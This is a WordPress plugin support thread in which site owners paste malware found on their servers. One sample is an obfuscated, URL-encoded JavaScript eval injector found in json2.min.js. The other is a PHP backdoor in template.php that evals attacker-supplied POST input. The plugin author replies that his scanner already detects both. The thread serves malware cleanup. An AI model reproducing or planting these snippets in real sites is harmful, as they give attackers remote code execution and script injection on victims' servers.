Title: Re occurring malware problem
Last modified: August 22, 2016

---

# Re occurring malware problem

 *  Resolved [bazzer7rose](https://wordpress.org/support/users/bazzer7rose/)
 * (@bazzer7rose)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/re-occurring-malware-problem/)
 * We have the plugin loaded and we are getting different problems in each of out
   sites that keep coming back:
    Adam: eval(decodeURIComponent(‘%0D%0A%76%61%72%
   20%5F%5F%5F%73%63%73%63%73%63%20%3D%20%6E%75%6C%6C%3B%0D%0A%76%61%72%20%5F%5F%
   5F%65%6D%65%6D%65%6D%20%3D%20%6E%75%6C%6C%3B%0D%0A%0D%0A%0D%0A%76%61%72%20%55%
   55%5F%44%79%6E%53%63%72%20%3D%20%66%75%6E%63%74%69%6F%6E%28%70%53%72%63%29%0D%
   0A%7B%0D%0A%09%76%61%72%20%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%
   74%65%45%6C%65%6D%65%6E%74%28%22%73%63%72%69%70%74%22%29%3B%20%73%2E%74%79%70%
   65%20%3D%20%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3B%20%73%2E%73%
   72%63%20%3D%20%70%53%72%63%3B%20%64%6F%63%75%6D%65%6E%74%2E%68%65%61%64%2E%61%
   70%70%65%6E%64%43%68%69%6C%64%28%73%29%3B%20%72%65%74%75%72%6E%20%73%3B%0D%0A%
   7D%0D%0A%0D%0A%76%61%72%20%55%55%5F%53%69%6E%6B%53%68%69%74%20%3D%20%66%75%6E%
   63%74%69%6F%6E%28%70%50%65%74%75%73%68%6F%6B%29%0D%0A%7B%0D%0A%09%5F%5F%5F%73%
   63%73%63%73%63%20%3D%20%55%55%5F%44%79%6E%53%63%72%28%27%68%74%74%70%3A%2F%2F%
   61%6A%61%78%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%61%6A%61%78%2F%6C%
   69%62%73%2F%73%77%66%6F%62%6A%65%63%74%2F%32%2E%32%2F%73%77%66%6F%62%6A%65%63%
   74%5F%73%72%63%2E%6A%73%27%29%3B%0D%0A%09%0D%0A%09%5F%5F%5F%73%63%73%63%73%63%
   2E%6F%6E%6C%6F%61%64%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%09%7B%0D%0A%
   09%09%69%66%20%28%20%21%5F%5F%5F%65%6D%65%6D%65%6D%20%29%0D%0A%09%09%7B%0D%0A%
   09%09%09%5F%5F%5F%65%6D%65%6D%65%6D%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%
   65%61%74%65%45%6C%65%6D%65%6E%74%28%27%64%69%76%27%29%3B%0D%0A%09%09%09%5F%5F%
   5F%65%6D%65%6D%65%6D%2E%69%64%20%3D%20%27%66%72%66%72%66%72%5F%73%68%69%74%27%
   3B%0D%0A%09%09%09%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%
   43%68%69%6C%64%28%5F%5F%5F%65%6D%65%6D%65%6D%29%3B%0D%0A%09%09%09%0D%0A%09%09%
   09%76%61%72%20%66%76%20%3D%20%7B%20%64%61%6C%69%6E%6B%3A%20%70%50%65%74%75%73%
   68%6F%6B%7D%3B%0D%0A%09%09%09%73%77%66%6F%62%6A%65%63%74%2E%65%6D%62%65%64%53%
   57%46%28%27%2E%2F%77%70%2D%69%6E%63%6C%75%64%65%73%2F%6A%73%2F%73%77%66%6F%62%
   6A%63%74%2E%73%77%66%27%2C%20%22%66%72%66%72%66%72%5F%73%68%69%74%22%2C%20%22%
   31%36%22%
 * file is wp-includes/js/json2.min.js
 * [https://wordpress.org/plugins/gotmls/](https://wordpress.org/plugins/gotmls/)

Viewing 3 replies - 1 through 3 (of 3 total)

 *  Thread Starter [bazzer7rose](https://wordpress.org/support/users/bazzer7rose/)
 * (@bazzer7rose)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/re-occurring-malware-problem/#post-5608788)
 * In another site I am getting:
 *  eval(‘(‘ + text + ‘)’);
 * wp-includes/js/json2.min.js
 *  [bowenac](https://wordpress.org/support/users/bowenac/)
 * (@bowenac)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/re-occurring-malware-problem/#post-5608799)
 * I am working with this person. Disregard the Adam: in the first one bazzer7rose
   pasted, they pasted that from hangouts haha.
 * Here is another one from another site on same server.
    Backdoor Scripts wp-includes/
   template.php
 * $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘
   q13e558’])){eval(${$s20}[‘q13e558’]);}
 *  Plugin Author [Eli](https://wordpress.org/support/users/scheeeli/)
 * (@scheeeli)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/re-occurring-malware-problem/#post-5608852)
 * These are already in my definition updates so you should be able to automatically
   remove them with my plugin if it is up-to-date.
 * Please let em know if you find something that is not found by my plugin. You 
   can send new threats directly to my email: eli AT gotmls DOT net
 * Mele kalikimaka, Eli

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘Re occurring malware problem’ is closed to new replies.

 * ![](https://ps.w.org/gotmls/assets/icon-256x256.png?rev=1001824)
 * [Anti-Malware Security and Brute-Force Firewall](https://wordpress.org/plugins/gotmls/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/gotmls/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/gotmls/)
 * [Active Topics](https://wordpress.org/support/plugin/gotmls/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/gotmls/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/gotmls/reviews/)

 * 3 replies
 * 3 participants
 * Last reply from: [Eli](https://wordpress.org/support/users/scheeeli/)
 * Last activity: [11 years, 5 months ago](https://wordpress.org/support/topic/re-occurring-malware-problem/#post-5608852)
 * Status: resolved